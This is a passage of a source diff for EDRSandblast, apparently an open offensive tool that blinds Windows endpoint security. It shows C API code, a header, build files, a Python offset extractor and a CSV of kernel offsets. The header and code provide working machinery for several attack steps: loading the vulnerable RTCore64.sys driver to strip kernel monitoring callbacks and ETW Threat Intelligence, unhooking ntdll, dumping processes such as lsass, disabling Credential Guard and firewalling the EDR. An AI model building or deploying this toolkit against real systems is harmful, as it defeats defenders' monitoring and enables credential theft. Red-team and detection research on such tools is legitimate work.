secondNtdll = ctx->Cache.NtdllCopyHandle;
PE* secondNtdll_pe = PE_create(secondNtdll, TRUE);
PVOID functionAddress = PE_functionAddr(secondNtdll_pe, ntFunctionName);
PE_destroy(secondNtdll_pe);
if (functionAddress == NULL) {
return EDRSB_NT_FUNCTION_NOT_FOUND;
}
else {
*function = functionAddress;
return EDRSB_SUCCESS;
}
}
VOID EDRSB_CleanUp(_Inout_ EDRSB_CONTEXT* ctx) {
if (ctx->Cache.NtdllCopyHandle) {
FreeLibrary(ctx->Cache.NtdllCopyHandle);
ctx->Cache.NtdllCopyHandle = NULL;
}
if (ctx->isDriverInstalled) {
CloseDriverHandle();
BOOL status = UninstallVulnerableDriver();
if (status == FALSE) {
_putts_or_not(TEXT("[!] An error occured while attempting to uninstall the vulnerable driver"));
_tprintf_or_not(TEXT("[*] The service should be manually deleted: cmd /c sc delete %s\n"), GetDriverServiceName());
}
}
}
@@ -0,0 +1,168 @@
#pragma once
#include <Windows.h>
#include "../EDRSandblast/Includes/UserlandHooks.h"
typedef struct EDRSB_SINGLETONS_t {
HANDLE NtdllCopyHandle;
} EDRSB_SINGLETONS;
typedef struct EDRSB_CONTEXT_t {
// Generic
struct EDRSB_CONFIG_t* config;
// Kernel related
BOOL isDriverInstalled;
BOOL krnlmodeMonitoringEnumDone;
BOOL foundNotifyRoutineCallbacks;
BOOL foundObjectCallbacks;
struct FOUND_EDR_CALLBACKS* foundEDRDrivers;
BOOL isETWTISystemEnabled;
BOOL isETWTICurrentlyEnabled;
// Usermode related
BOOL usermodeMonitoringRemoved;
HOOK* foundUserlandHooks;
// Singletons / open handles / allocated buffer, etc. that should be opened once and used multiple times
EDRSB_SINGLETONS Cache;
} EDRSB_CONTEXT;
typedef struct EDRSB_BYPASS_MODE_t {
BYTE Usermode : 1;
BYTE Krnlmode : 1;
} EDRSB_BYPASS_MODE;
typedef enum EDRSB_USERMODE_TECHNIQUE_e {
Unhook_with_ntdll_NtProtectVirtualMemory,
Copy_ntdll_and_load,
Allocate_trampoline,
Find_and_use_existing_trampoline,
Use_direct_syscall,
} EDRSB_USERMODE_TECHNIQUE;
// TODO: update values.
typedef struct EDRSB_ACTIONS_t {
DWORD ProtectProcess : 1;
DWORD BypassCredguard : 1;
DWORD ExecProcess : 1;
DWORD FirewallEDR : 1;
DWORD DontUnloadDriver : 1;
DWORD DontRestoreCallBacks : 1;
DWORD DontRestoreETWTI : 1;
} EDRSB_ACTIONS;
typedef struct EDRSB_OFFSETS_RETRIEVAL_METHOD_t {
BYTE Embeded : 1;
BYTE File : 1;
BYTE Internet : 1;
} EDRSB_OFFSETS_RETRIEVAL_METHOD;
typedef enum EDRSB_STATUS_e {
EDRSB_SUCCESS,
//Driver related errors
EDRSB_DRIVER_NOT_SPECIFIED,
EDRSB_DRIVER_NOT_FOUND,
EDRSB_DRIVER_INSTALL_FAILED,
// Config related errors.
EDRSB_KERNEL_OFFSETS_NOT_FOUND,
EDRSB_WDIGEST_OFFSETS_NOT_FOUND,
// Kernel mode related errors.
EDRSB_MISSING_KRNLMODE,
// Usermode mode related errors.
EDRSB_NT_FUNCTION_NOT_FOUND,
EDRSB_TRAMPOLINE_NOT_FOUND,
EDRSB_FUNCTION_NOT_HOOKED,
EDRSB_NTPROTECTVIRTUALMEMORY_FAILED,
// Actions related errors.
EDRSB_MISSING_DUMPPROCESS,
EDRSB_MISSING_PROTECTPROCESS,
EDRSB_MISSING_BYPASSCREDGUARD,
EDRSB_MISSING_EXECPROCESS,
EDRSB_MISSING_FIREWALLEDR,
EDRSB_BYPASSCREDGUARD_FAILED,
EDRSB_EXECPROCESS_FAILED,
//Other errors
EDRSB_FAILURE,
EDRSB_MEMALLOC_FAIL,
EDRSB_KNRL_MONITORING,
EDRSB_ACCESS_DENIED,
} EDRSB_STATUS;
/*
* EDRSandblast configuration structure
*/
typedef struct EDRSB_CONFIG_t {
/*
* Defines the bypass mode to use.
*/
EDRSB_BYPASS_MODE bypassMode;
/*
* Defines the actions that will be performed.
*/
EDRSB_ACTIONS actions;
EDRSB_OFFSETS_RETRIEVAL_METHOD offsetRetrievalMethod;
/*
* Path of the CSV file that contains the needed offsets for kernel mode operations
* If NULL, tries to load NtoskrnlOffsets.csv
* If empty string, disable NtoskrnlOffsets.csv loading (relies on symbol download every time)
*/
LPWSTR kernelOffsetFilePath; //TODO : unifier les offsets dans un seul fichier (un json ?) pour viter de demander l'utilisateur de passer plusieurs fichiers
/*
* Path of the CSV file that contains the needed offsets for credential guard related operations
* If NULL, tries to load WdigestOffsets.csv
* If empty string, disable WdigestOffsets.csv loading (relies on symbol download every time)
*/
LPWSTR wdigestOffsetFilePath;
/*
* Path of the vulnerable driver to install
* If NULL, tries to load RTCore64.sys
*/
LPWSTR vulerableDriverPath;
/*
* If additionnal debug messages are wanted
*/
BOOL verbose;
} EDRSB_CONFIG;
/*
* Global init.
*/
EDRSB_STATUS EDRSB_Init(_Out_ EDRSB_CONTEXT* ctx, _In_ EDRSB_CONFIG* config);
VOID EDRSB_CleanUp(_Inout_ EDRSB_CONTEXT* ctx);
/*
* Usermode APIs.
*/
EDRSB_STATUS Usermode_GetSafeNtFunc(_Inout_ EDRSB_CONTEXT* ctx, _In_ LPCSTR functionName, _Outptr_result_maybenull_ PVOID* function, EDRSB_USERMODE_TECHNIQUE technique);
VOID Usermode_EnumAllMonitoring(_Inout_ EDRSB_CONTEXT* ctx);
VOID Usermode_RemoveAllMonitoring(_Inout_ EDRSB_CONTEXT* ctx, EDRSB_USERMODE_TECHNIQUE technique);
/*
* Krnlmode APIs.
*/
EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx);
EDRSB_STATUS Krnlmode_RemoveAllMonitoring(_In_ EDRSB_CONTEXT* ctx);
EDRSB_STATUS Krnlmode_RestoreAllMonitoring(_In_ EDRSB_CONTEXT* ctx);
/*
* Actions APIs.
*/
// Set the protection level of the current process to Light WinTcb(PsProtectedSignerWinTcb - Light). Allows access to other protected processes, such as lsass when RunAsPPL is enabled
EDRSB_STATUS Action_SetCurrentProcessAsProtected(_In_ EDRSB_CONTEXT* ctx);
EDRSB_STATUS Action_DumpProcessByName(_In_ EDRSB_CONTEXT* ctx, _In_ LPWSTR processName, _In_ LPWSTR outputPath, EDRSB_USERMODE_TECHNIQUE usermodeTechnique);
EDRSB_STATUS Action_FirewallBlockEDR(_In_ EDRSB_CONTEXT* ctx);
EDRSB_STATUS Action_DisableCredGuard(_In_ EDRSB_CONTEXT* ctx);
@@ -0,0 +1,152 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{3a2fcb56-01a3-41b3-bdaa-b25f45784b23}</ProjectGuid>
<RootNamespace>EDRSandblastStaticLibrary</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>StaticLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>StaticLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>StaticLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>StaticLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>Use</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
</ClCompile>
<Link>
<SubSystem>
</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>Use</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
</ClCompile>
<Link>
<SubSystem>
</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<PrecompiledHeaderFile>
</PrecompiledHeaderFile>
</ClCompile>
<Link>
<SubSystem>
</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<PrecompiledHeaderFile>
</PrecompiledHeaderFile>
</ClCompile>
<Link>
<SubSystem>
</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="EDRSandblast_API.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="EDRSandblast_API.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
@@ -0,0 +1,27 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="EDRSandblast_API.c">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="EDRSandblast_API.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
</Project>
+6 -3
View File
@@ -112,7 +112,7 @@ def get_file_version(path):
return [int(frag) for frag in line.split(" ")[-1].split(".")]
print(f'[!] ERROR : failed to extract version from {path}.')
exit(1)
raise RuntimeError("get_file_version error")
def extractOffsets(input_file, output_file, mode):
if os.path.isfile(input_file):
@@ -161,7 +161,10 @@ def extractOffsets(input_file, output_file, mode):
('_PS_PROTECTION Protection', get_field_offset),
("EtwThreatIntProvRegHandle", get_symbol_offset),
('_ETW_GUID_ENTRY* GuidEntry', get_field_offset),
('_TRACE_ENABLE_INFO ProviderEnableInfo', get_field_offset)]
('_TRACE_ENABLE_INFO ProviderEnableInfo', get_field_offset),
("PsProcessType", get_symbol_offset),
("PsThreadType", get_symbol_offset),
('struct _LIST_ENTRY CallbackList', get_field_offset)]
elif imageType == "wdigest":
symbols = [
("g_fParameter_UseLogonCredential",get_symbol_offset),
@@ -263,7 +266,7 @@ if __name__ == '__main__':
else:
with open(args.output, 'w') as output:
if mode == "ntoskrnl":
output.write('ntoskrnlVersion,PspCreateProcessNotifyRoutineOffset,PspCreateThreadNotifyRoutineOffset,PspLoadImageNotifyRoutineOffset,_PS_PROTECTIONOffset,EtwThreatIntProvRegHandleOffset,EtwRegEntry_GuidEntryOffset,EtwGuidEntry_ProviderEnableInfoOffset\n')
output.write('ntoskrnlVersion,PspCreateProcessNotifyRoutineOffset,PspCreateThreadNotifyRoutineOffset,PspLoadImageNotifyRoutineOffset,_PS_PROTECTIONOffset,EtwThreatIntProvRegHandleOffset,EtwRegEntry_GuidEntryOffset,EtwGuidEntry_ProviderEnableInfoOffset,PsProcessType,PsThreadType,CallbackList\n')
elif mode == "wdigest":
output.write('wdigestVersion,g_fParameter_UseLogonCredentialOffset,g_IsCredGuardEnabledOffset\n')
else:
+519 -441
View File
@@ -1,441 +1,519 @@
ntoskrnlVersion,PspCreateProcessNotifyRoutineOffset,PspCreateThreadNotifyRoutineOffset,PspLoadImageNotifyRoutineOffset,_PS_PROTECTIONOffset,EtwThreatIntProvRegHandleOffset,EtwRegEntry_GuidEntryOffset,EtwGuidEntry_ProviderEnableInfoOffset
ntoskrnl_9600-20111.exe,2dac50,2daa50,2da850,67a,0,20,50
ntoskrnl_10240-16384.exe,35d2e0,35d0e0,35cee0,6aa,0,20,50
ntoskrnl_10240-17394.exe,35d420,35d220,35d020,6aa,0,20,50
ntoskrnl_10240-17443.exe,35c420,35c220,35c020,6aa,0,20,50
ntoskrnl_10240-17446.exe,35c420,35c220,35c020,6aa,0,20,50
ntoskrnl_10240-17488.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50
ntoskrnl_10240-17533.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50
ntoskrnl_10240-17609.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50
ntoskrnl_10240-17643.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50
ntoskrnl_10240-17709.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50
ntoskrnl_10240-17738.exe,366520,366320,366120,6b2,0,20,50
ntoskrnl_10240-17770.exe,366520,366320,366120,6b2,0,20,50
ntoskrnl_10240-17797.exe,366520,366320,366120,6b2,0,20,50
ntoskrnl_10240-17831.exe,366520,366320,366120,6b2,0,20,50
ntoskrnl_10240-17861.exe,3664e0,3662e0,3660e0,6b2,0,20,50
ntoskrnl_10240-17889.exe,3644e0,3642e0,3640e0,6b2,0,20,50
ntoskrnl_10240-17914.exe,3644e0,3642e0,3640e0,6b2,0,20,50
ntoskrnl_10240-17976.exe,3694e0,3692e0,3690e0,6b2,0,20,50
ntoskrnl_10240-18005.exe,3694e0,3692e0,3690e0,6b2,0,20,50
ntoskrnl_10240-18036.exe,369520,369320,369120,6b2,0,20,50
ntoskrnl_10240-18063.exe,369520,369320,369120,6b2,0,20,50
ntoskrnl_10240-18094.exe,369520,369320,369120,6b2,0,20,50
ntoskrnl_10240-18132.exe,369520,369320,369120,6b2,0,20,50
ntoskrnl_10240-18158.exe,369520,369320,369120,6b2,0,20,50
ntoskrnl_10240-18275.exe,369520,369320,369120,6b2,0,20,50
ntoskrnl_10240-18303.exe,369520,369320,369120,6b2,0,20,50
ntoskrnl_10240-18427.exe,367520,367320,367120,6b2,0,20,50
ntoskrnl_10240-18452.exe,367520,367320,367120,6b2,0,20,50
ntoskrnl_10240-18485.exe,3684e0,3682e0,3680e0,6b2,0,20,50
ntoskrnl_10240-18545.exe,3684e0,3682e0,3680e0,6b2,0,20,50
ntoskrnl_10240-18575.exe,3684e0,3682e0,3680e0,6b2,0,20,50
ntoskrnl_10240-18608.exe,3684e0,3682e0,3680e0,6b2,0,20,50
ntoskrnl_10240-18638.exe,3684e0,3682e0,3680e0,6b2,0,20,50
ntoskrnl_10240-18666.exe,367560,367360,367160,6b2,0,20,50
ntoskrnl_10240-18725.exe,367560,367360,367160,6b2,0,20,50
ntoskrnl_10240-18756.exe,367560,367360,367160,6b2,0,20,50
ntoskrnl_10240-18841.exe,367560,367360,367160,6b2,0,20,50
ntoskrnl_10240-18906.exe,367560,367360,367160,6b2,0,20,50
ntoskrnl_10586-0.exe,317180,316f80,316d80,6b2,0,20,50
ntoskrnl_10586-1176.exe,3161c0,315fc0,315dc0,6b2,0,20,50
ntoskrnl_10586-1177.exe,3161c0,315fc0,315dc0,6b2,0,20,50
ntoskrnl_10586-1295.exe,3161c0,315fc0,315dc0,6b2,0,20,50
ntoskrnl_10586-1356.exe,31a2c0,31a0c0,319ec0,6ba,0,20,50
ntoskrnl_10586-1417.exe,31a2c0,31a0c0,319ec0,6ba,0,20,50
ntoskrnl_10586-1478.exe,31a2c0,31a0c0,319ec0,6ba,0,20,50
ntoskrnl_10586-1540.exe,31a300,31a100,319f00,6ba,0,20,50
ntoskrnl_14393-0.exe,33bba0,33b9a0,33b7a0,6c2,0,20,50
ntoskrnl_14393-1198.exe,335860,335660,335460,6c2,0,20,50
ntoskrnl_14393-1532.exe,3348a0,3346a0,3344a0,6c2,0,20,50
ntoskrnl_14393-1670.exe,3348a0,3346a0,3344a0,6c2,0,20,50
ntoskrnl_14393-1737.exe,3348a0,3346a0,3344a0,6c2,0,20,50
ntoskrnl_14393-1770.exe,3348a0,3346a0,3344a0,6c2,0,20,50
ntoskrnl_14393-2189.exe,33ea20,33e820,33e620,6ca,0,20,50
ntoskrnl_14393-2214.exe,33ea20,33e820,33e620,6ca,0,20,50
ntoskrnl_14393-2248.exe,33da60,33d860,33d660,6ca,0,20,50
ntoskrnl_14393-2273.exe,33da60,33d860,33d660,6ca,0,20,50
ntoskrnl_14393-2312.exe,33ca20,33c820,33c620,6ca,0,20,50
ntoskrnl_14393-2363.exe,33ca20,33c820,33c620,6ca,0,20,50
ntoskrnl_14393-2395.exe,33bb60,33b960,33b760,6ca,0,20,50
ntoskrnl_14393-2430.exe,338b60,338960,338760,6ca,0,20,50
ntoskrnl_14393-2485.exe,338b20,338920,338720,6ca,0,20,50
ntoskrnl_14393-2551.exe,338b20,338920,338720,6ca,0,20,50
ntoskrnl_14393-2580.exe,338b20,338920,338720,6ca,0,20,50
ntoskrnl_14393-2608.exe,338b20,338920,338720,6ca,0,20,50
ntoskrnl_14393-2636.exe,338be0,3389e0,3387e0,6ca,0,20,50
ntoskrnl_14393-2665.exe,338be0,3389e0,3387e0,6ca,0,20,50
ntoskrnl_14393-2724.exe,338be0,3389e0,3387e0,6ca,0,20,50
ntoskrnl_14393-2791.exe,338b20,338920,338720,6ca,0,20,50
ntoskrnl_14393-2848.exe,338b20,338920,338720,6ca,0,20,50
ntoskrnl_14393-2906.exe,338b20,338920,338720,6ca,0,20,50
ntoskrnl_14393-2969.exe,339a20,339820,339620,6ca,0,20,50
ntoskrnl_14393-3085.exe,339a20,339820,339620,6ca,0,20,50
ntoskrnl_14393-3115.exe,339a20,339820,339620,6ca,0,20,50
ntoskrnl_14393-3143.exe,339a20,339820,339620,6ca,0,20,50
ntoskrnl_14393-3204.exe,339a20,339820,339620,6ca,0,20,50
ntoskrnl_14393-3241.exe,339a60,339860,339660,6ca,0,20,50
ntoskrnl_14393-3269.exe,339a60,339860,339660,6ca,0,20,50
ntoskrnl_14393-3297.exe,339a60,339860,339660,6ca,0,20,50
ntoskrnl_14393-3321.exe,339a60,339860,339660,6ca,0,20,50
ntoskrnl_14393-3383.exe,339a60,339860,339660,6ca,0,20,50
ntoskrnl_14393-3442.exe,339a60,339860,339660,6ca,0,20,50
ntoskrnl_14393-3471.exe,33ae60,33ac60,33aa60,6ca,0,20,50
ntoskrnl_14393-3503.exe,33aee0,33ace0,33aae0,6ca,0,20,50
ntoskrnl_14393-3541.exe,33aee0,33ace0,33aae0,6ca,0,20,50
ntoskrnl_14393-3564.exe,33aee0,33ace0,33aae0,6ca,0,20,50
ntoskrnl_14393-3595.exe,33aee0,33ace0,33aae0,6ca,0,20,50
ntoskrnl_14393-3630.exe,33aee0,33ace0,33aae0,6ca,0,20,50
ntoskrnl_14393-3659.exe,33aee0,33ace0,33aae0,6ca,0,20,50
ntoskrnl_14393-3686.exe,33aee0,33ace0,33aae0,6ca,0,20,50
ntoskrnl_14393-3750.exe,33aee0,33ace0,33aae0,6ca,0,20,50
ntoskrnl_14393-3755.exe,33aee0,33ace0,33aae0,6ca,0,20,50
ntoskrnl_14393-3808.exe,33aee0,33ace0,33aae0,6ca,0,20,50
ntoskrnl_14393-3866.exe,33ae60,33ac60,33aa60,6ca,0,20,50
ntoskrnl_14393-3930.exe,33aee0,33ace0,33aae0,6ca,0,20,50
ntoskrnl_14393-3986.exe,33aee0,33ace0,33aae0,6ca,0,20,50
ntoskrnl_14393-4046.exe,33aee0,33ace0,33aae0,6ca,0,20,50
ntoskrnl_14393-4104.exe,33aee0,33ace0,33aae0,6ca,0,20,50
ntoskrnl_14393-4169.exe,33aee0,33ace0,33aae0,6ca,0,20,50
ntoskrnl_14393-4225.exe,33aee0,33ace0,33aae0,6ca,0,20,50
ntoskrnl_14393-4283.exe,33aee0,33ace0,33aae0,6ca,0,20,50
ntoskrnl_14393-4350.exe,33aee0,33ace0,33aae0,6ca,0,20,50
ntoskrnl_14393-4402.exe,33aee0,33ace0,33aae0,6ca,0,20,50
ntoskrnl_14393-4467.exe,33aee0,33ace0,33aae0,6ca,0,20,50
ntoskrnl_14393-4470.exe,33aee0,33ace0,33aae0,6ca,0,20,50
ntoskrnl_14393-4530.exe,33ae60,33ac60,33aa60,6ca,0,20,50
ntoskrnl_14393-4583.exe,33ae60,33ac60,33aa60,6ca,0,20,50
ntoskrnl_14393-4651.exe,33ae60,33ac60,33aa60,6ca,0,20,50
ntoskrnl_14393-576.exe,33bca0,33baa0,33b8a0,6c2,0,20,50
ntoskrnl_14393-726.exe,335860,335660,335460,6c2,0,20,50
ntoskrnl_14393-953.exe,335860,335660,335460,6c2,0,20,50
ntoskrnl_15063-0.exe,382290,382090,381e90,6ca,341ea8,20,50
ntoskrnl_15063-1029.exe,389550,389350,389150,6ca,348fa8,20,50
ntoskrnl_15063-1088.exe,3894d0,3892d0,3890d0,6ca,348fb8,20,50
ntoskrnl_15063-1155.exe,387510,387310,387110,6ca,346f68,20,50
ntoskrnl_15063-1206.exe,387510,387310,387110,6ca,346f68,20,50
ntoskrnl_15063-1266.exe,384410,384210,384010,6ca,343f48,20,50
ntoskrnl_15063-13.exe,382290,382090,381e90,6ca,341ea8,20,50
ntoskrnl_15063-1324.exe,385490,385290,385090,6ca,344f88,20,50
ntoskrnl_15063-1387.exe,385490,385290,385090,6ca,344f98,20,50
ntoskrnl_15063-1418.exe,385490,385290,385090,6ca,344f98,20,50
ntoskrnl_15063-1446.exe,385490,385290,385090,6ca,344fa8,20,50
ntoskrnl_15063-1478.exe,385450,385250,385050,6ca,344f68,20,50
ntoskrnl_15063-1563.exe,385450,385250,385050,6ca,344f68,20,50
ntoskrnl_15063-1596.exe,385450,385250,385050,6ca,344f68,20,50
ntoskrnl_15063-1631.exe,385450,385250,385050,6ca,344f68,20,50
ntoskrnl_15063-1689.exe,3854d0,3852d0,3850d0,6ca,344fd8,20,50
ntoskrnl_15063-1746.exe,3854d0,3852d0,3850d0,6ca,344fd8,20,50
ntoskrnl_15063-1805.exe,3853d0,3851d0,384fd0,6ca,344e78,20,50
ntoskrnl_15063-1928.exe,385450,385250,385050,6ca,344e48,20,50
ntoskrnl_15063-1987.exe,385450,385250,385050,6ca,344e48,20,50
ntoskrnl_15063-2017.exe,385450,385250,385050,6ca,344e48,20,50
ntoskrnl_15063-2045.exe,385350,385150,384f50,6ca,344e48,20,50
ntoskrnl_15063-2076.exe,385350,385150,384f50,6ca,344e48,20,50
ntoskrnl_15063-2106.exe,385350,385150,384f50,6ca,344e48,20,50
ntoskrnl_15063-2283.exe,385410,385210,385010,6ca,344e68,20,50
ntoskrnl_15063-296.exe,382290,382090,381e90,6ca,341ea8,20,50
ntoskrnl_15063-674.exe,3822d0,3820d0,381ed0,6ca,341e88,20,50
ntoskrnl_15063-675.exe,3822d0,3820d0,381ed0,6ca,341e88,20,50
ntoskrnl_15063-786.exe,382310,382110,381f10,6ca,341ec8,20,50
ntoskrnl_15063-850.exe,389450,389250,389050,6ca,348fb8,20,50
ntoskrnl_15063-909.exe,389510,389310,389110,6ca,348fa8,20,50
ntoskrnl_15063-966.exe,389550,389350,389150,6ca,348fa8,20,50
ntoskrnl_16299-1004.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50
ntoskrnl_16299-1029.exe,39ff00,3a0100,39fd00,6ca,35dac0,20,50
ntoskrnl_16299-1087.exe,39ff00,3a0100,39fd00,6ca,35dac0,20,50
ntoskrnl_16299-1120.exe,39ff00,3a0100,39fd00,6ca,35dac0,20,50
ntoskrnl_16299-1146.exe,3a0d00,3a0f00,3a0b00,6ca,35e8a0,20,50
ntoskrnl_16299-1182.exe,3a0d00,3a0f00,3a0b00,6ca,35e8a0,20,50
ntoskrnl_16299-1217.exe,3a1000,3a0c00,3a0e00,6ca,35e968,20,50
ntoskrnl_16299-125.exe,398a80,398c80,398e80,6ca,356980,20,50
ntoskrnl_16299-1331.exe,3a1000,3a0c00,3a0e00,6ca,35e968,20,50
ntoskrnl_16299-1364.exe,3a1000,3a0c00,3a0e00,6ca,35e968,20,50
ntoskrnl_16299-1419.exe,3a1040,3a0c40,3a0e40,6ca,35e988,20,50
ntoskrnl_16299-1448.exe,3a1040,3a0c40,3a0e40,6ca,35e988,20,50
ntoskrnl_16299-15.exe,398c80,398e80,398a80,6ca,356908,20,50
ntoskrnl_16299-1622.exe,3a0fc0,3a0bc0,3a0dc0,6ca,35e988,20,50
ntoskrnl_16299-1747.exe,3a0cc0,3a0ec0,3a0ac0,6ca,35e8c0,20,50
ntoskrnl_16299-1775.exe,3a0cc0,3a0ec0,3a0ac0,6ca,35e8c0,20,50
ntoskrnl_16299-19.exe,398c80,398e80,398a80,6ca,3568e8,20,50
ntoskrnl_16299-192.exe,39dd40,39df40,39db40,6ca,35b980,20,50
ntoskrnl_16299-1992.exe,3a0cc0,3a0ec0,3a0ac0,6ca,35e8c0,20,50
